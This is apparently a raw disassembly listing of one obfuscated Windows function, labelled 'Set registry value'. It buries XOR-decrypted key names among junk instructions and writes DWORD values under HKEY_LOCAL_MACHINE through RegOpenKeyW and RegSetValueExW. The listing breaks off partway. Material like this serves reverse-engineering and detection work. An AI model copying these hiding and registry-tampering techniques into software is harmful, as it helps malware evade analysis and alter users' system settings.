Function at 0x1403f9421
Capabilities:
Set registry value

Disassembly:
push r15
push r14
neg r14w
push r13
jmp 0x1403f9434
push r12
btr ax, r14w
ror eax, cl
push rsi
shld r15d, edx, 0xe
push rdi
shr r15b, 0xac
rcr r12w, 0x34
stc
push rbp
push rbx
and al, 0xd2
sub rsp, 0x2f8
xchg r14b, al
movsx r12d, cx
movabs rax, 0xe009ec3224c8fd6e
cmova r12, r8
mov rsi, 0x2a0659a5
mov qword [rsp + 0x2e0], rax
movzx r13d, r9w
mov r12d, edi
mov qword [rsp + 0x40], rax
movsxd r12, r13d
movabs rax, 0x2204bcb80ebea5a3
mov qword [rsp + 0x2d8], rax
xchg r12w, r15w
not bpl
mov qword [rsp + 0x48], rax
movzx eax, si
setb dil
xchg bl, bpl
movabs rax, 0xfbc9f38de01f2fa2
movsx si, r8b
mov di, 0x1b60
mov qword [rsp + 0x2d0], rax
mov qword [rsp + 0x50], rax
mov bh, 0x14
cdqe
movabs rax, 0x17a75ff95317a686
mov qword [rsp + 0x2c8], rax
mov qword [rsp + 0x58], rax
mov bp, 0x439c
cmovb r13d, r10d
movabs rax, 0xfd99d5578f55fa6f
mov qword [rsp + 0x2c0], rax
movsx r13d, r8w
movsx bp, sil
mov qword [rsp + 0x60], rax
mov r14b, 0x14
xchg r14w, si
movzx r15w, spl
movabs rax, 0x4b3964fdcd447246
mov r14w, sp
mov r15w, 0x20ed
mov qword [rsp + 0x2b8], rax
movsxd rbp, ebx
mov qword [rsp + 0x68], rax
seto r12b
cmovg r13d, r13d
not r15b
movabs rax, 0xee88324679eb2227
movzx r14w, r12b
mov qword [rsp + 0x2b0], rax
xchg bl, r15b
jmp 0x1403f9574
mov qword [rsp + 0x70], rax
movsx r14, r14w
lahf
movabs rax, 0x6d7346ad6d4ffefa
mov qword [rsp + 0x2a8], rax
movsx di, cl
mov qword [rsp + 0x78], rax
movabs rax, 0xd093683aef376a76
mov qword [rsp + 0x2a0], rax
not r15b
mov qword [rsp + 0x80], rax
movabs rax, 0xa80f93e9d32b8c6f
cmova bx, r10w
movsx rbx, r12w
xchg r14b, r13b
mov qword [rsp + 0x298], rax
bswap si
movsx r13, r9w
movsxd r14, edi
mov qword [rsp + 0x88], rax
movabs rax, 0x33e730243394033e
setp r13b
movsxd rdi, r10d
not bpl
mov qword [rsp + 0x290], rax
setge r15b
mov si, dx
not r14b
mov qword [rsp + 0x90], rax
mov r13b, 0x25
mov sil, dil
movabs rax, 0xe7e3977e114e6703
movzx r13, r14w
jmp 0x1403f9632
mov qword [rsp + 0x288], rax
movzx r12d, r14w
movsx ebp, sp
mov qword [rsp + 0x98], rax
cbw
movsxd r13, ebx
movabs rax, 0xb0b65ec58a603c8
movzx bx, ch
mov dil, 0x1f
mov qword [rsp + 0x280], rax
jmp 0x1403f966c
mov qword [rsp + 0xa0], rax
movabs rax, 0x6708be65ca8156d7
movzx ebp, bx
movsxd r12, r11d
mov r14d, 0x77225ce5
mov qword [rsp + 0x278], rax
mov r13b, bl
bswap edi
movzx r13w, r11b
mov qword [rsp + 0xa8], rax
mov r14b, 0x4b
movzx r13, r12w
movabs rax, 0x46a7044da5524090
movsxd rbx, edx
movzx r13, di
bswap r12w
mov qword [rsp + 0x270], rax
cmovns esi, r11d
movsx r12, r13w
mov qword [rsp + 0xb0], rax
movabs rax, 0x4b8cb541ca050f46
mov qword [rsp + 0x268], rax
mov qword [rsp + 0xb8], rax
cbw
movabs rax, 0xe627ab41184af921
mov qword [rsp + 0x260], rax
movsx bp, r12b
not si
xchg bp, r14w
mov qword [rsp + 0xc0], rax
movzx r12w, r10b
movabs rax, 0x34c77b6e31b9a
mov r13b, 0x3e
mov qword [rsp + 0x258], rax
cmovb r14w, sp
setns bpl
movzx r12, r15w
mov qword [rsp + 0xc8], rax
movabs rax, 0xd8cf4ec0049852bb
jmp 0x1403f9758
mov qword [rsp + 0xd0], rax
lahf
jmp 0x1403f9769
movabs rax, 0xa5eac9844f8ea419
cmovle r12, rbx
jmp 0x1403f977f
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x30], 0
mov r13w, 0xcea
mov dword [rsp + 0x3c], 0
movabs rbp, 0x2eb490333e21dae3
mov r13d, ebx
mov ebx, 0x478513ea
xchg bl, dil
mov qword [rsp + 0xe0], rbp
movabs r14, 0x28903e48668cb956
mov qword [rsp + 0xe8], r14
lahf
not r12b
cdqe
movabs r15, 0xe05dec612491fd3d
mov qword [rsp + 0x100], r15
movzx ebx, sp
movzx r12w, bl
sete r13b
movabs r12, 0x2247bce40ef3a5e6
cwde
mov qword [rsp + 0x108], r12
cbw
movabs rsi, 0xfbacf3ffe06d2fd7
cbw
mov qword [rsp + 0x110], rsi
mov r13b, r9b
movabs rdi, 0x17c85fba5363a6e8
mov qword [rsp + 0x118], rdi
movabs rax, 0xfdf6d5258f21fa01
movsx bx, sil
mov qword [rsp + 0x120], rax
cmovae rbx, r11
mov rbx, rax
movsx rax, r11w
not r13w
movabs rax, 0x4b4d6498cd17722a
movzx r13w, r12b
mov qword [rsp + 0x2f0], rax
movsx r13w, dil
setnp r13b
cmovo r13d, ebx
mov qword [rsp + 0x128], rax
jmp 0x1403f9885
movabs rax, 0xeefa322379b8227b
movsxd r13, r12d
bswap r13
xchg r13b, r13b
mov qword [rsp + 0x250], rax
movsx r13w, dil
movzx r13, cx
xchg r13, r13
mov qword [rsp + 0x130], rax
movsx rax, r10w
lahf
movabs rax, 0x6d1646ce6d26fe8c
movsx r13d, ax
movsx r13w, r12b
mov qword [rsp + 0x248], rax
movzx r13d, r9w
mov r13, 0x4e02e3a
sete r13b
mov qword [rsp + 0x138], rax
movsx r13d, si
movabs rax, 0xd0fb6869ef6b6a05
movsx r13w, r12b
mov r13b, sil
movsx r13d, r10w
mov qword [rsp + 0x240], rax
xchg r13b, r13b
mov qword [rsp + 0x140], rax
movabs rax, 0xa86b938cd3598c0e
seta r13b
mov r13w, 0x29e3
mov qword [rsp + 0x238], rax
mov r13w, 0x4c2d
mov qword [rsp + 0x148], rax
movzx r13d, bp
mov al, r8b
jmp 0x1403f994c
movabs rax, 0x3382304733f7037f
movsx r13, dx
movsx r13w, dl
jmp 0x1403f9964
mov qword [rsp + 0x230], rax
jmp 0x1403f9976
mov qword [rsp + 0x150], rax
cwde
movsx eax, bp
movabs rax, 0xe7b39722113d6770
movzx r13, bp
bswap r13w
mov qword [rsp + 0x228], rax
movsx r13, r15w
mov qword [rsp + 0x158], rax
xchg r13, r13
cbw
movabs rax, 0xb66658d58d403a9
bswap r13w
movzx r13d, sp
movsx r13d, r13w
mov qword [rsp + 0x220], rax
movsxd r13, r11d
bswap r13d
sete r13b
mov qword [rsp + 0x160], rax
mov r13w, 0x511
jmp 0x1403f99e9
movabs rax, 0x677abe00caf556b2
mov qword [rsp + 0x218], rax
mov qword [rsp + 0x168], rax
cbw
cdqe
movabs rax, 0x46ce040ba50e40e3
movsx r13w, bl
mov qword [rsp + 0x210], rax
movzx r13d, dx
cmovo r13w, r10w
mov qword [rsp + 0x170], rax
mov al, 0x52
cwde
lahf
movabs rax, 0x4bedb536ca600f34
movzx r13w, r10b
jmp 0x1403f9a4a
mov qword [rsp + 0x208], rax
mov qword [rsp + 0x178], rax
cwde
cbw
bswap ax
movabs rax, 0xe648ab111826f94d
bswap r13
movzx r13d, dx
setne r13b
mov qword [rsp + 0x200], rax
movsx r13w, r9b
mov qword [rsp + 0x180], rax
movsxd rax, r9d
cwde
movabs rax, 0x7a4c14b68a1bf6
movsxd r13, eax
cmovge r13w, r8w
mov qword [rsp + 0x1f8], rax
mov r13b, r9b
setle r13b
mov qword [rsp + 0x188], rax
movabs rax, 0xd8a24eaf04dc52e7
movsx r13, cx
movzx r13, di
mov r13b, 0xe9
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x190], rax
cbw
movabs rax, 0xa5bac9ea4fe7a478
mov r13b, 0xeb
jmp 0x1403f9af4
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0x198], rax
cdqe
movzx rax, sp
movsxd r13, esp
movabs rax, 0x2edd90553e4eda91
bswap r13d
movzx r13w, r13b
mov qword [rsp + 0x1e0], rax
mov r13b, 0x20
mov qword [rsp + 0x1a0], rax
movzx r13d, r11w
cdqe
movabs rax, 0x28903e4866e9b93a
mov qword [rsp + 0x1d8], rax
movzx r13, r15w
movzx r13w, r13b
mov qword [rsp + 0x1a8], rax
movsx r13d, di
lea r13, [rsp + 0x100]
mov ax, r13w
cwde
mov rax, r13
jmp 0x1403f9b74
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403f9b7e
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403f9b8b
movaps xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
jmp 0x1403f9b9e
movaps xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm0
jmp 0x1403f9bb1
movaps xmm0, xmmword [rsp + 0x70]
jmp 0x1403f9bbb
xorps xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm0
jmp 0x1403f9bc9
movaps xmm0, xmmword [rsp + 0x80]
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403f9be2
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403f9bef
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1403f9c00
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403f9c0d
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1403f9c26
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403f9c37
movaps xmm0, xmmword [rsp + 0xc0]
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403f9c53
movaps xmm0, xmmword [rsp + 0xd0]
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403f9c6f
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1403f9c7c
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
cdq
cmovge rcx, r15
mov r8b, 0xaf
lea rdx, [rsp + 0x40]
cmovle ecx, r9d
movzx ecx, bx
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
movabs rax, 0xe03fec0024fffd78
mov qword [rsp + 0x1d0], rax
jmp 0x1403f9cc8
mov qword [rsp + 0x40], rax
movsx rax, r9w
cmovp eax, r12d
movabs rax, 0x222ebca20e96a58a
jmp 0x1403f9ce4
mov qword [rsp + 0x1c8], rax
jmp 0x1403f9cf1
mov qword [rsp + 0x48], rax
lahf
movabs rax, 0xfbcdf388e0082fa5
jmp 0x1403f9d06
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x50], rax
cmovb rax, rsp
not ah
movabs rax, 0x17c85fba530fa684
jmp 0x1403f9d28
mov qword [rsp + 0x1c0], rax
jmp 0x1403f9d35
mov qword [rsp + 0x58], rax
mov al, 0x69
mov qword [rsp + 0x100], r15
mov ah, 0xd5
mov qword [rsp + 0x108], r12
movzx eax, r12w
mov eax, 0x195e74a2
cmovge ax, bp
mov qword [rsp + 0x110], rsi
not eax
mov qword [rsp + 0x118], rdi
mov rax, r13
jmp 0x1403f9d76
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403f9d80
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403f9d8d
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403f9d97
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
ror dl, 0xea
test r15d, 0x25c66b4d
and edx, esp
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x3c]
sar r9b, 0x5b
not r9w
and dl, 0xf1
mov qword [rsp + 0x20], rax
bswap edx
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x40]
xor r8d, r8d
movsx r9d, r8w
movzx r9d, r13w
movzx r9, si
mov r9d, 4
jmp 0x1403f9def
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403f9dff
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403f9e12
mov qword [rsp + 0x40], rax
bswap eax
cmovne ax, r10w
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x48], rax
cwde
movzx ax, dh
jmp 0x1403f9e35
mov rax, qword [rsp + 0x2d0]
jmp 0x1403f9e42
mov qword [rsp + 0x50], rax
movzx rax, r11w
mov rax, qword [rsp + 0x2c8]
jmp 0x1403f9e58
mov qword [rsp + 0x58], rax
cdqe
movsxd rax, eax
jmp 0x1403f9e67
mov rax, qword [rsp + 0x2c0]
jmp 0x1403f9e74
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x2b8]
jmp 0x1403f9e86
mov qword [rsp + 0x68], rax
movsx rax, bx
movzx rax, r11w
nop
mov rax, qword [rsp + 0x2b0]
jmp 0x1403f9ea2
mov qword [rsp + 0x70], rax
setbe ah
nop
mov rax, qword [rsp + 0x2a8]
jmp 0x1403f9eb8
mov qword [rsp + 0x78], rax
movsxd rax, r12d
mov rax, qword [rsp + 0x2a0]
jmp 0x1403f9ecd
mov qword [rsp + 0x80], rax
movzx ax, cl
bswap eax
mov al, 0x5c
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x88], rax
jmp 0x1403f9ef5
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x288]
jmp 0x1403f9f12
mov qword [rsp + 0x98], rax
not rax
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0xa0], rax
nop
setns al
cbw
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0xa8], rax
movsx ax, spl
movzx eax, bp
mov ax, dx
mov rax, qword [rsp + 0x270]
jmp 0x1403f9f5c
mov qword [rsp + 0xb0], rax
movsx ax, r8b
lahf
mov rax, qword [rsp + 0x268]
jmp 0x1403f9f77
mov qword [rsp + 0xb8], rax
mov eax, 0x5d6b45dd
bswap rax
mov rax, qword [rsp + 0x260]
jmp 0x1403f9f94
mov qword [rsp + 0xc0], rax
mov eax, 0x23cc77ac
mov rax, qword [rsp + 0x258]
jmp 0x1403f9fae
mov qword [rsp + 0xc8], rax
movabs rax, 0xd8c04eda048c52bb
jmp 0x1403f9fc5
mov qword [rsp + 0xd0], rax
movzx eax, r15w
movzx rax, r8w
movabs rax, 0xa5eac9894f8ea414
jmp 0x1403f9fe4
mov qword [rsp + 0xd8], rax
xchg ah, al
bswap eax
mov qword [rsp + 0xe0], rbp
mov qword [rsp + 0xe8], r14
mov qword [rsp + 0x100], r15
xchg ebp, eax
seta al
not bp
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], rsi
xchg bp, ax
movzx r14w, r13b
mov r14w, 0x501d
mov qword [rsp + 0x118], rdi
cbw
bswap ebp
setl ah
mov rbp, rbx
mov qword [rsp + 0x120], rbx
cbw
mov r14, qword [rsp + 0x2f0]
mov qword [rsp + 0x128], r14
bswap ax
cbw
mov rax, qword [rsp + 0x250]
jmp 0x1403fa069
mov qword [rsp + 0x130], rax
movsx rax, r11w
mov rax, qword [rsp + 0x248]
jmp 0x1403fa082
mov qword [rsp + 0x138], rax
movzx eax, dx
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x238]
jmp 0x1403fa0aa
mov qword [rsp + 0x148], rax
movzx eax, bx
nop
mov rax, qword [rsp + 0x230]
jmp 0x1403fa0c4
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x228]
jmp 0x1403fa0d9
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x160], rax
cwde
movsxd rax, r10d
movsx rax, sp
mov rax, qword [rsp + 0x218]
jmp 0x1403fa106
mov qword [rsp + 0x168], rax
cwde
mov rax, qword [rsp + 0x210]
jmp 0x1403fa11c
mov qword [rsp + 0x170], rax
mov eax, 0x1e4f6899
not al
mov rax, qword [rsp + 0x208]
jmp 0x1403fa138
mov qword [rsp + 0x178], rax
movzx eax, r11w
cdqe
movsx rax, r15w
mov rax, qword [rsp + 0x200]
jmp 0x1403fa157
mov qword [rsp + 0x180], rax
cwde
cdqe
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x188], rax
movsx eax, r10w
cmovg eax, r9d
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x190], rax
movsx ax, dl
cdqe
mov rax, qword [rsp + 0x1e8]
jmp 0x1403fa19d
mov qword [rsp + 0x198], rax
cdqe
jmp 0x1403fa1b0
mov rax, qword [rsp + 0x1e0]
jmp 0x1403fa1bd
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1d8]
jmp 0x1403fa1d2
mov qword [rsp + 0x1a8], rax
movzx eax, cx
nop
mov rax, r13
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fa1ec
movaps xmm1, xmmword [rsp + 0x50]
jmp 0x1403fa1f6
movaps xmm2, xmmword [rsp + 0x60]
jmp 0x1403fa200
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
jmp 0x1403fa20d
movaps xmmword [rsp + 0x40], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
jmp 0x1403fa229
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
jmp 0x1403fa237
movaps xmm0, xmmword [rsp + 0x80]
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403fa250
movaps xmm0, xmmword [rsp + 0x90]
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403fa271
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403fa282
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1403fa28f
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403fa2a0
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1403fa2ad
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403fa2c1
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1403fa2ce
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403fa2e2
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1403fa2ef
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
cmovs r8, r9
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
bswap r8
lea r8, [rsp + 0x30]
jmp 0x1403fa31b
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rax, qword [rsp + 0x1d0]
mov bl, r14b
mov qword [rsp + 0x40], rax
movsx rbx, di
movzx rbx, r15w
mov rax, qword [rsp + 0x1c8]
jmp 0x1403fa34c
mov qword [rsp + 0x48], rax
jmp 0x1403fa356
mov rbx, qword [rsp + 0x2e8]
mov ah, 0x93
movzx rax, bx
movsxd rax, r14d
mov qword [rsp + 0x50], rbx
not eax
mov rax, qword [rsp + 0x1c0]
jmp 0x1403fa37c
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x100], r15
nop
mov ah, ch
cdqe
mov qword [rsp + 0x108], r12
movzx ax, dil
mov qword [rsp + 0x110], rsi
mov eax, 0x29b63fa0
cmovb ax, si
movsxd rax, r8d
mov qword [rsp + 0x118], rdi
cdqe
lahf
mov rax, r13
jmp 0x1403fa3c3
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fa3cd
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fa3da
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403fa3e4
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
movzx r9w, sil
btc cx, cx
mov rcx, qword [rsp + 0x30]
sal r9b, 0x69
adc ax, 0x19db
cmovle edx, ebp
lea rax, [rsp + 0x3c]
bsr r9w, r12w
mov qword [rsp + 0x20], rax
shl r9b, 0x92
bswap dx
mov dword [rsp + 0x28], 4
neg dl
cdq
bswap r9w
lea rdx, [rsp + 0x40]
movsx r9, cx
movsxd r9, r12d
sub r8d, r8d
not r9
movsxd r9, r12d
movsx r9, bp
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403fa45a
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403fa46d
mov qword [rsp + 0x40], rax
jmp 0x1403fa480
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x2d0]
jmp 0x1403fa49a
mov qword [rsp + 0x50], rax
bswap eax
setge ah
mov al, r11b
mov rax, qword [rsp + 0x2c8]
jmp 0x1403fa4b4
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x2c0]
jmp 0x1403fa4c6
mov qword [rsp + 0x60], rax
movsx ax, r14b
cbw
mov rax, qword [rsp + 0x2b8]
jmp 0x1403fa4df
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x2b0]
jmp 0x1403fa4f1
mov qword [rsp + 0x70], rax
cdqe
mov rax, qword [rsp + 0x2a8]
jmp 0x1403fa505
mov qword [rsp + 0x78], rax
movzx eax, sp
movsx ax, r12b
mov rax, qword [rsp + 0x2a0]
jmp 0x1403fa51f
mov qword [rsp + 0x80], rax
cmovg ax, r8w
movsx ax, ah
movsxd rax, edi
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x290]
jmp 0x1403fa550
mov qword [rsp + 0x90], rax
movzx eax, cx
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x98], rax
lahf
mov rax, qword [rsp + 0x280]
jmp 0x1403fa579
mov qword [rsp + 0xa0], rax
movsx ax, dl
mov rax, qword [rsp + 0x278]
jmp 0x1403fa592
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x270]
jmp 0x1403fa5a7
mov qword [rsp + 0xb0], rax
movsx eax, r14w
mov rax, qword [rsp + 0x268]
jmp 0x1403fa5c0
mov qword [rsp + 0xb8], rax
movsx ax, r15b
movsx eax, dx
mov rax, qword [rsp + 0x260]
jmp 0x1403fa5dd
mov qword [rsp + 0xc0], rax
not al
mov ah, cl
movzx rax, bx
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0xc8], rax
not ax
setne al
movsx rax, r8w
movabs rax, 0xd8c34edb048f52bb
jmp 0x1403fa616
mov qword [rsp + 0xd0], rax
movzx rax, r15w
movsx eax, r8w
jmp 0x1403fa62b
movabs rax, 0xa5c8c98b4f83a416
jmp 0x1403fa63a
mov qword [rsp + 0xd8], rax
not ah
movabs rax, 0x2eb290273e1edaf5
jmp 0x1403fa653
mov qword [rsp + 0xe0], rax
lahf
movzx eax, si
movabs rax, 0x28f53e246680b95c
jmp 0x1403fa66e
mov qword [rsp + 0xe8], rax
cdqe
mov ax, 0x1597
bswap ax
mov qword [rsp + 0x100], r15
cmove ax, si
mov qword [rsp + 0x108], r12
movsxd rax, r8d
cmovs ax, r9w
mov qword [rsp + 0x110], rsi
cdqe
cmovae ax, si
mov qword [rsp + 0x118], rdi
mov ah, 0x34
movsx ax, r15b
mov qword [rsp + 0x120], rbp
movsx ax, dil
nop
mov qword [rsp + 0x128], r14
movsx ax, al
movsxd rax, ecx
movsx rax, r15w
mov rax, qword [rsp + 0x250]
jmp 0x1403fa6e8
mov qword [rsp + 0x130], rax
cbw
mov rax, qword [rsp + 0x248]
jmp 0x1403fa6ff
mov qword [rsp + 0x138], rax
movsx eax, r10w
cbw
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x140], rax
sets al
mov rax, qword [rsp + 0x238]
jmp 0x1403fa72d
mov qword [rsp + 0x148], rax
seta al
movsx eax, si
mov rax, qword [rsp + 0x230]
jmp 0x1403fa748
mov qword [rsp + 0x150], rax
cwde
mov rax, qword [rsp + 0x228]
jmp 0x1403fa75e
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x220]
jmp 0x1403fa773
mov qword [rsp + 0x160], rax
movzx eax, r13w
mov al, 0xbe
lahf
mov rax, qword [rsp + 0x218]
jmp 0x1403fa78f
mov qword [rsp + 0x168], rax
movsx ax, al
not ax
mov rax, qword [rsp + 0x210]
jmp 0x1403fa7ab
mov qword [rsp + 0x170], rax
movzx rax, bp
bswap rax
cmovnp ax, r14w
mov rax, qword [rsp + 0x208]
jmp 0x1403fa7cc
mov qword [rsp + 0x178], rax
setbe ah
mov rax, qword [rsp + 0x200]
jmp 0x1403fa7e4
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x1f8]
jmp 0x1403fa7f9